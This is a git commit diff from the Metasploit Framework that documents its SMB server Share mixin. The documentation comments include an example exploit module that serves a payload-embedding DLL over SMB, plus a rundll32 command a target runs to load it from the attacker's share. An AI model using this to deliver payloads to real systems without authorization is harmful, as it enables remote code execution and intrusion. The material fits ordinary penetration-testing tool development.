Add documentation for the Share mixin

bug/bundler_fix
jvazquez-r7 2015-03-02 12:42:32 -06:00
parent 9a8e17508f
commit 34bd6a4365
1 changed files with 143 additions and 20 deletions

View File

@ -10,7 +10,106 @@ require 'rex/proto/dcerpc'
module Msf
module Exploit::Remote::SMB::Server
# This mixin provides a minimal SMB server
# This mixin provides a minimal SMB server sharing an UNC resource. At
# this moment it is capable to share just one file. And the file should
# live in the root folder "\\".
#
# @example Use it from an Auxiliary module
# require 'msf/core'
#
# class Metasploit3 < Msf::Auxiliary
#
# include Msf::Exploit::Remote::SMB::Server::Share
#
# def initialize
# super(
# 'Name' => 'SMB File Server',
# 'Description' => %q{
# This module provides a SMB File Server service
# },
# 'Author' =>
# [
# 'Matthew Hall',
# 'juan vazquez'
# ],
# 'License' => MSF_LICENSE,
# 'Actions' =>
# [
# ['Service']
# ],
# 'PassiveActions' =>
# [
# 'Service'
# ],
# 'DefaultAction' => 'Service'
# )
# end
#
# def run
# print_status("Starting SMB Server on #{unc}...")
# exploit
# end
#
# def primer
# print_status("Primer...")
# self.exe_contents = 'METASPLOIT'
# end
# end
#
# @example Use it from an Exploit module
# require 'msf/core'
#
# class Metasploit3 < Msf::Exploit::Remote
# Rank = ExcellentRanking
#
# include Msf::Exploit::EXE
# include Msf::Exploit::Remote::SMB::Server::Share
#
# def initialize(info={})
# super(update_info(info,
# 'Name' => "Example Exploit",
# 'Description' => %q{
# Example exploit, the Server shares a DLL embedding the payload. A session
# can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
# from the target.
# },
# 'License' => MSF_LICENSE,
# 'Author' =>
# [
# 'Matthew Hall',
# 'juan vazquez'
# ],
# 'References' =>
# [
# ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
# ],
# 'Payload' =>
# {
# 'Space' => 2048,
# 'DisableNops' => true
# },
# 'Platform' => 'win',
# 'Targets' =>
# [
# ['Windows XP SP3 / Windows 2003 SP2', {}],
# ],
# 'Privileged' => false,
# 'DisclosureDate' => "Mar 02 2015",
# 'DefaultTarget' => 0))
#
# register_options(
# [
# OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
# ], self.class)
#
# deregister_options('FILE_CONTENTS')
# end
#
# def primer
# self.exe_contents = generate_payload_dll
# print_status("File available on #{unc}...")
# end
# end
module Share
require 'msf/core/exploit/smb/server/share/command'
require 'msf/core/exploit/smb/server/share/information_level'
@ -73,12 +172,24 @@ module Msf
CONST::SMB_READ_CONTROL_ACCESS |
CONST::SMB_SYNC_ACCESS
attr_accessor :unc
# @!attribute share
# @return [String] The share portion of the provided UNC.
attr_accessor :share
# @!attribute path_name
# @return [String] The folder where the provided file lives.
# @note UNSUPPORTED
attr_accessor :path_name
# @!attribute file_name
# @return [String] The file name of the provided UNC.
attr_accessor :file_name
# @!attribute hi
# @return [Fixnum] The high 4 bytes for the file 'created time'.
attr_accessor :hi
# @!attribute lo
# @return [Fixnum] The low 4 bytes for the file 'created time'.
attr_accessor :lo
# @!attribute exe_contents
# @return [String] The contents of the provided file
attr_accessor :exe_contents
def initialize(info = {})
@ -92,16 +203,13 @@ module Msf
], Msf::Exploit::Remote::SMB::Server::Share)
end
# Setups the server configuration.
def setup
super
print_status("Setup...")
# TODO: Improve tree directories support
self.path_name = '\\'
self.path_name = '\\' # TODO: Add subdirectories support
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
self.unc = "\\\\#{srvhost}\\#{share}\\#{file_name}"
t = Time.now.to_i
self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)
@ -114,10 +222,22 @@ module Msf
end
end
# Builds the UNC Name for the shared file
def unc
"\\\\#{srvhost}\\#{share}\\#{file_name}"
end
# Builds the server address.
#
# @return [String] The server address.
def srvhost
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
end
# New connection handler, executed when there is a new conneciton.
#
# @param c [Socket] The client establishing the connection.
# @return [Hash] The hash with the client data initialized.
def smb_conn(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
@ -130,11 +250,13 @@ module Msf
}
end
#
# Main dispatcher function
# Takes the client data and performs a case switch
# Main dispatcher function. Takes the client data and performs a case switch
# on the command (e.g. Negotiate, Session Setup, Read file, etc.)
#
# @param cmd [Fixnum] The SMB Command requested.
# @param c [Socket] The client to answer.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
@ -148,25 +270,26 @@ module Msf
case cmd
when CONST::SMB_COM_NEGOTIATE
smb_cmd_negotiate(c, buff)
return smb_cmd_negotiate(c, buff)
when CONST::SMB_COM_SESSION_SETUP_ANDX
word_count = pkt['Payload']['SMB'].v['WordCount']
if word_count == 0x0D # Share Security Mode sessions
smb_cmd_session_setup_andx(c, buff)
if word_count == 0x0d # Share Security Mode sessions
return smb_cmd_session_setup_andx(c, buff)
else
print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
when CONST::SMB_COM_TRANSACTION2
smb_cmd_trans2(c, buff)
return smb_cmd_trans2(c, buff)
when CONST::SMB_COM_NT_CREATE_ANDX
smb_cmd_nt_create_andx(c, buff)
return smb_cmd_nt_create_andx(c, buff)
when CONST::SMB_COM_READ_ANDX
smb_cmd_read_andx(c, buff)
return smb_cmd_read_andx(c, buff)
when CONST::SMB_COM_CLOSE
smb_cmd_close(c, buff)
return smb_cmd_close(c, buff)
else
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
print_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
end
end